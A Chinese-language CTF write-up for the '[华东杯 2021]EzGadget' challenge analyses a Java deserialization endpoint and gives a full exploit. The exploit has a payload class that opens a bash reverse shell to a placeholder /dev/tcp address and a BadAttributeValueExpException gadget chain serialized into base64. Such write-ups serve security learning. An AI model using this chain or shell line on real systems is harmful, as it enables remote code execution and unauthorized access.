[华东杯 2021]EzGadget
代码分析
题目给出了一个jar包,拖到IDEA中反编译得到源码,目录结构如下:
其中User是个没啥用的JavaBean类。
Tools类是个工具类,有base64的编码与解码方法,以及学列化和返学列化方法:
public class Tools {
public Tools() {
}
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
ToStringBean类继承了ClassLoader类并实现了Serializable接口,里面有个toString()
方法,调用了继承自ClassLoader的defineClass()
方法去加载类,然后使用newInstance()
去实例化这个类:
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public ToStringBean() {
}
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "enjoy it.";
}
}
看到这里已经很明显了,只要我们能够调用toString()
方法,并且控制ClassByte的内容为我们构造的恶意代码类,就能实现任意代码执行。
最后看一下控制器里面的内容:
@Controller
public class IndexController {
public IndexController() {
}
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "index";
}
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
}
return "welcome bro.";
}
}
在 /readobject 路由中,将传过来的data字段的内容通过base64解码,读取对象流,先读取字符串和INT,再读取对象。所以再构造反序列化链时,先写入一个String
和INT
。
利用
首先toString()
作为调用方法出现在CC5链里面,CC5链的入口是BadAttributeValueExpException.readObject()
:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
BadAttributeValueExpException.readObject()
会先获取名字为val
的对象,然后调用其valObj.toString()
方法,所以我们这里只需要将构造好的恶意toStringBean对象用反射赋值给val
属性即可。
- 首先构造我们的字节码恶意类:
//payload.class
package com.ezgame.ctf.controller;
import java.io.IOException;
public class payload {
public payload() {
}
static {
try {
//注意这里不要使用字符串,使用字符串数组。
//使用字符串传会反弹失败,具体原因可参看网上的文章
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"});
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
- 构造EXP:
package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class IndexController {
public static void main(String[] args) throws Exception {
ToStringBean toStringBean = new ToStringBean();
//通过反射给ClassByte赋值
Class c = toStringBean.getClass();
Field classByteField = c.getDeclaredField("ClassByte");
classByteField.setAccessible(true);
//读取恶意的class文件
byte[] bytes = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\Test\\out\\production\\Test\\com\\ezgame\\ctf\\controller\\payload.class"));
//将字节码传给ClassByte
classByteField.set(toStringBean,bytes);
//实例化BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123);
//通过反射给val传值
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, toStringBean);
//序列化类到ByteArrayOutputStream中
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
//ByteArrayOutputStream转化为字节
byte[] bytes1 = byteArrayOutputStream.toByteArray();
//base64编码
String bytes2 = Tools.base64Encode(bytes1);
//输出payload
System.out.println(bytes2);
}
}
这里我用本地起了一个环境去测试,反弹shell到本地(注意payload要URL编码一下,因为可能有+,URL解码时会当作空格):
成功反弹shell